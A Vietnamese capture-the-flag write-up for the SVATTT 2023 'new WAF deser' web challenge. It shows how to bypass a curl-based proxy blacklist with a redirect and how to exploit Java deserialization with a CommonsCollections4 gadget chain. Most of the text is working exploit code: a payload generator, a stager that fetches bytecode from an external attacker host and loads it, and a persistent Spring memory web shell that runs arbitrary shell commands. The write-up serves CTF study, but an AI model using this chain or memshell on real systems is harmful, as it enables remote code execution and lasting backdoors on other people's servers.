SVATTT-2023 Ctf Writeup - The new Waf Deser

Preface

Gõ phím viết bài này thì cũng đã gần 2 tháng kể từ đợt final A&D SVATTT 2023 kết thúc. Năm nay mình may may mắn được vào chung khảo chơi A&D và với role là defense (cấu hình log, patch bug,..etc). Vào thi thì khá loạn + nhiều việc, và vì mình role defense nên cũng chỉ ngó qua bài này và thấy backend y chang bài waf-deser năm trước khác mỗi phần front-end, tưởng dễ nên mình vẫn chưa mò lại xem, nay đến deadline hoàn thành task ở clb mới lụi cụi làm, thấy hay nên write up lại luôn, coi như làm tài liệu tham khảo cho các năm sau :D

Cũng chia sẻ thêm thì bài này trong đợt thi mình chỉ thấy 1 vài team là làm được, lúc đấy tự hỏi sao đề y chang năm trước, sửa mỗi tí lại ít solves thế. Nay xem kĩ thì mới thấy dù bài này không quá khó nhưng để build exploit hoàn chỉnh thì rất tốn time + bận exploit ở mỗi round attack nữa thì rất khó để hoàn thành.

Anyway, bạn nào chưa đọc writeup bài waf-deser năm trước thì có thể đọc writeup mình viết tham khảo lại. Mình cũng sẽ weaponize deser theo hướng up spring memshell để persistent ở mọi round thay vì chỉ đọc flag.

docker-compose.yml

services:
  front:
    build: ./front
    container_name: web2_front
    networks:
      - no-internet
      - internet
    ports:
      - "8004:5000"
    depends_on: 
      - back
    restart: always
  back:
    build: ./back
    container_name: web2_back
    networks:
      - no-internet
    restart: always

networks:
  internet: {}
  no-internet:
    internal: true

Sơ sơ qua thì file này deploy 2 services, trong đó service back vs front nằm cùng network là no-internet, không có outbound ra network khác. Phần front có expose port 8004 để conect đến được. Ý tưởng cũng chỉ có thể là dùng front để exploit back!

de old backend

Phần deser ở UserController vẫn khá tương tự năm ngoái:

@RequestMapping(
    value = {"/ticket/{info}"},
    method = {RequestMethod.GET}
)
public String getUser(@PathVariable("info") String info, @RequestParam(name = "compress",defaultValue = "false") Boolean isCompress, Model model) {
    String unencodedData = this.unEncode(info);
    String returnData = "";

    try {
        byte[] data = Base64.getMimeDecoder().decode(unencodedData);
        if (data.length > 2048) {
            return "common/error";
        } else {
            User user = null;
            if (isCompress) {
                InputStream is = new GZIPInputStream(new ByteArrayInputStream(data));
                ObjectInputStream ois = new ObjectInputStream(is);
                user = (User)ois.readObject();
            } else {
                ObjectMapper objectMapper = new ObjectMapper();
                user = (User)objectMapper.readValue(data, User.class);
            }

            if (user != null) {
                model.addAttribute("user", user);
                return user.getRole() + "/welcome";
            } else {
                return "common/error";
            }
        }
    } catch (Exception var10) {
        return "common/error";
    }
}

Tuy nhiên ở đây check thêm độ dài payload sau khi gzip chỉ được bé hơn 2048, nếu lớn hơn sẽ không vào phần deser –> failed. Exploit chỗ này vẫn có thể dùng chain CC4 để deser (check file pom.xml) (thế thôi, phần dễ nhất 😀😀)

de front

Không còn sử dụng nginx mà là 1 con web python như sau:

FILTERED_HOSTS = ["back"]

FILTERED_PATHS = ["debug", "info", "ticket"]

// truncated

@app.route("/<path:url>", methods=["GET"])
def proxy(url):
    r = make_request(
        str(url), request.method, dict(request.headers), request.get_data()
    )
    return r


def make_request(url, method, headers={}, data=None):
    if not is_approved(url):
        abort(403)
    if "curl/" in headers["User-Agent"].lower():
        abort(403)

    curl_command = ["curl", "-L", "-k", "-X", method, url]

    for key, value in headers.items():
        if key.lower() == "host" or key.lower() == 'user-agent':
            continue
        curl_command.extend(["-H", f"{key}: {value}"])

    if data:
        curl_command.extend(["--data", data.decode()])

    try:
        print(curl_command)
        result = subprocess.run(
            curl_command, shell=False, timeout=10, capture_output=True
        )
        return result.stdout, 200
    except Exception as e:
        print(e)
        return jsonify({"error": f"Error executing curl"}), 500


def is_approved(url):
    """Indicates whether the given URL is allowed to be fetched.  This
    prevents the server from becoming an open proxy"""
    parts = urlparse(url)
    host = parts.hostname
    path = parts.path

    if not parts.scheme in ["http", "https"]:
        return False

    if host in FILTERED_HOSTS:
        return False
    for filter_path in FILTERED_PATHS:
        if filter_path in path:
            return False
    return True

Con web này nhận target_url từ path và make request đến bằng curl, tuy nhiên target_url bị blacklist mất host là back, phần path thì là "debug", "info", "ticket" ==> Không thể gọi trực tiếp đến back cũng như entrypoint ticket để deser. back

Loay hoay tìm cách bypass mình ngồi nhìn lại mới để ý thấy curl command trong function make_request() có option -L - sẽ follow redirect, và đây cũng chính là cách bypass. Mình host 1 httpserver lên và redirect url về http://back/ sau đó cho service front request đến bị redirect là truy cập được service back: redirect

req_redirect

deser

Vậy bây giờ mình đã có thể bypass blacklists ở service front và gửi request đến back để exploit deser, y chang bài năm trước 😱😱. Tất nhiên là không, cái khó là back không có outbound (không thể bắn reverse shell, output dns/http,..etc) thì chỉ có thể nghĩ đến cách dùng Spring Echo/Spring Memshell.

Chain CommonsCollections4 gọi đến sink là TemplatesImpl để load bytecode, nhờ đó chạy được java code thoải mái để RCE. Để sửa chain thay vì chạy command mà load Spring Echo/Spring Memshell thì sửa class bytecode được load là được.

Vì không phải trọng tâm bài này nên bạn nào chưa hiểu chain CC4 có thể đọc bài này của mình, đã phân tích phần lớn chain sử dụng sink là TemplatesImpl (bao gồm CC4). Về Spring Memshel thì vì chưa có thời gian nên mình chỉ mới quick note như này, đủ để dùng.

// truncated

public class ExploitUtils {
    private static String pathEncode(String s) {
        return s.replaceAll("\\r\\n", "-").replaceAll("=", "%3D").replaceAll("\\+", "%2B").replaceAll("/", "_");
    }

    private static final int bufferSize = 256;

    private static ByteArrayOutputStream gZipEncode(InputStream inputStream) throws Exception {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        GZIPOutputStream gos = new GZIPOutputStream(barr);
        byte[] buffer = new byte[bufferSize];

        try{
            int len;
            while((len = inputStream.read(buffer)) != -1) {
                gos.write(buffer, 0, len);
            }
        } finally {
            try{if(inputStream != null) inputStream.close();} catch(Exception e){}
            try{if(gos != null) gos.close();} catch(Exception e){}
        }

        return barr;
    }

    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    private static ByteArrayOutputStream genCC4Proxy(String className) throws Exception {
        // get memshell bytecode
        byte[] bArr = ClassPool.getDefault().get(className).toBytecode();

        // gen CC4 serialized chain
        TemplatesImpl tplsImpl = new TemplatesImpl();
        setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
        setFieldValue(tplsImpl, "_name", "ahihi");
        setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());

        ConstantTransformer constTransformer = new ConstantTransformer(TrAXFilter.class); // loop 1 trả về TrAXFilter.class
        InstantiateTransformer insTransformer = new InstantiateTransformer(new Class[]{javax.xml.transform.Templates.class}, new Object[]{tplsImpl}); // loop 2 gọi class TrAXFilter constructor
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                constTransformer, insTransformer
        });
        TransformingComparator transComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(transComparator);
        setFieldValue(priorityQueue, "size", 2);

        setFieldValue(priorityQueue, "queue", new Object[]{1,1});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();

        return barr;
    }

    public static String genDeserPayload() throws Exception {
        // get CC4 memshell serialized gadget chain then gzip encode
        ByteArrayOutputStream barr = genCC4Proxy(evil.MemTemplatesImpl.class.getName());
        InputStream is = new ByteArrayInputStream(barr.toByteArray());
        ByteArrayOutputStream outBarr = gZipEncode(is);
        // b64 + path encode
        byte[] bytes = outBarr.toByteArray();
        System.out.println("Generated payload length is: " + bytes.length);
        String b64En =  Base64.getEncoder().encodeToString(bytes);
        String info = pathEncode(b64En);
        System.out.println(info);
        return info;
    }

    public static void main(String[] args) throws Exception {
        genDeserPayload();
    }
}

MemTemplatesImpl là class spring memshell mình lấy trong bài quick note ở trên

Và mình đã thử và failed: failed

Payload sau khi gzip có số bytes là 2623, khi send sẽ không vào được deser. Vẫn poc cho có context. Host httpserver và redirect đến: http://back/ticket/H4sIAAAAA....?compress=true:

@RequestMapping("/tiktikboom")
    @ResponseBody
    public void ticket(HttpServletResponse httpServletResponse) throws Exception {
        String exploitBackendURL = "http://back/ticket/" + ExploitUtils.genDeserPayload() + "?compress=true";
        httpServletResponse.setHeader("Location", exploitBackendURL);
        httpServletResponse.setStatus(301);
    }

req_failed

Vậy serialized chain chứa memshell là quá dài để exploit deser. Do đó mình lên ý tưởng lần deser đầu sẽ chạy 1 ít code, phần code này sẽ request đến remote server để lấy memshell bytecode sau đó mới load bytecode này để chèn memshell. What??, nhưng mà service back làm gì có outbound. Lúc đấy mình mới để ý đó là lý do tại sao service front lại cho ra internet, cùng xem lại file docker-compose.yml, phần networks của front nằm ở cả no-internet (chỉ connect back) và internet (có outbound):

services:
  front:
    build: ./front
    container_name: web2_front
    networks:
      - no-internet
      - internet
    ports:
      - "8004:5000"
    depends_on: 
      - back
    restart: always
  back:
    build: ./back
    container_name: web2_back
    networks:
      - no-internet
    restart: always

networks:
  internet: {}
  no-internet:
    internal: true

Các host nằm chung 1 network thì có thể connect với nhau, dó đó từ service back có thể request tới front. Vậy cuối cùng ý tưởng sẽ là như này:

  1. Front request đến httpserver, httpserver return redirect đến back service với chain CC4 deser kéo remote class bytecode memshell (ProxyTemplatesImpl)
  2. Back deser CC4 chain trên và chạy code kéo remote bytecode, ở đây do không có outbound, callback URL ra httpserver sẽ đi qua front, sau đó load bytecode để chèn memshell (MemTemplatesImpl)
  3. Memshell đã được load, dùng tiếp httpserver để con front redirect và truy cập memshell

Để cho dễ hình dung thì là như này: diagram

ProxyTemplatesImpl kéo bytecode qua front:

public class ProxyTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public static byte[] downloadUsingStream(String urlStr) throws Exception {
        URL url = new URL(urlStr);
        java.io.BufferedInputStream bis = new java.io.BufferedInputStream(url.openStream());
        byte[] classBytecode = new byte[bis.available()];
        bis.read(classBytecode);
        bis.close();
        return classBytecode;
    }
    public static Class loader(byte[] bytes) throws Exception {
        URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
        java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        method.setAccessible(true);

        return (Class) method.invoke(classLoader, new Object[]{bytes, 0, bytes.length});
    }

    public ProxyTemplatesImpl() throws Exception {
        super();
        String callback = "http://front:5000/http://10.1.xx.93:8082/proxy/MemTemplatesImpl";
        byte[] memBytecode = downloadUsingStream(callback);
        loader(memBytecode).newInstance();
    }
}

RequestMapping tương ứng:

// exploit from front
@RequestMapping("/tiktikboom")
    @ResponseBody
    public void ticket(HttpServletResponse httpServletResponse) throws Exception {
         System.out.println("Received request: /tiktikboom");
        String exploitBackendURL = "http://back/ticket/" + ExploitUtils.genDeserPayload() + "?compress=true";
        httpServletResponse.setHeader("Location", exploitBackendURL);
        httpServletResponse.setStatus(301);
    }

MemTemplatesImpl được request đến và load sau khi deser lần 1:

public class MemTemplatesImpl {

    public MemTemplatesImpl() throws Exception {
        super();
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());
        RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);
        Method method = MemTemplatesImpl.class.getMethod("run");
        Method getMappingForMethod = mappingHandler.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
        getMappingForMethod.setAccessible(true);

        RequestMappingInfo mInfo = (RequestMappingInfo) getMappingForMethod.invoke(mappingHandler, method, MemTemplatesImpl.class);
        MemTemplatesImpl obj = new MemTemplatesImpl("a");
        mappingHandler.registerMapping(mInfo, obj, method);
    }
    public MemTemplatesImpl(String a) {}

    @RequestMapping("/a/ayooo") // memshell path
    public void run() {
        try {
            HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getResponse();

            String arg0 = request.getParameter("devme_63hdsbx");
            if (arg0 != null) {
                ProcessBuilder p;
                String o = "";
                PrintWriter w = response.getWriter();
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                w.write(o);
                w.flush();
                w.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {}
    }
}

RequestMapping tương ứng:

// callback
@RequestMapping("/proxy/MemTemplatesImpl")
    @ResponseBody
    public ByteArrayResource proxy() throws Exception {
        System.out.println("Received callback request: /proxy/MemTemplatesImpl");
        Path path = Paths.get(getClass().getResource("/evil/MemTemplatesImpl.class").toURI());
        ByteArrayResource resource = new ByteArrayResource(Files.readAllBytes(path));
        return resource;
    }

Sau khi load thì code tiếp route redirect đến mem:

// run memshell from front
@RequestMapping("/memshell")
    @ResponseBody
    public void proxy(@RequestHeader("cmd4f") String cmd4f, HttpServletResponse httpServletResponse) throws Exception {
        String exploitBackendURL = "http://back/a/ayooo?devme_63hdsbx=" + URLEncoder.encode(cmd4f, "utf-8");
        httpServletResponse.setHeader("Location", exploitBackendURL);
        httpServletResponse.setStatus(301);
    }

Request: http://ubuntu.lab:8004/http://10.1.xx.93:8082/tiktikboom HttpServer Log: HttpServerLog

Request:

GET http://ubuntu.lab:8004/http://10.1.xx.93:8082/memshell
User-Agent: 123
cmd4f: ls

Response: req_exploit

Full project để exploit mình có push lên tại đây: https://github.com/devme4f/SVATTT-2023_web02

Anotherway: Spring View Manipulation (SSTI) still, via deser

Nếu cứ chăm chăm phần deser có khi mọi người cũng dễ miss bug này. Vì chưa có thời gian nên chưa poc lại. Có thể thấy là back dùng thymleaf: pom_xml

Sau khi deser thành class User thì role được nối thẳng vào return String của RequestMapping: ssti_spring

==> Spring View Manipulation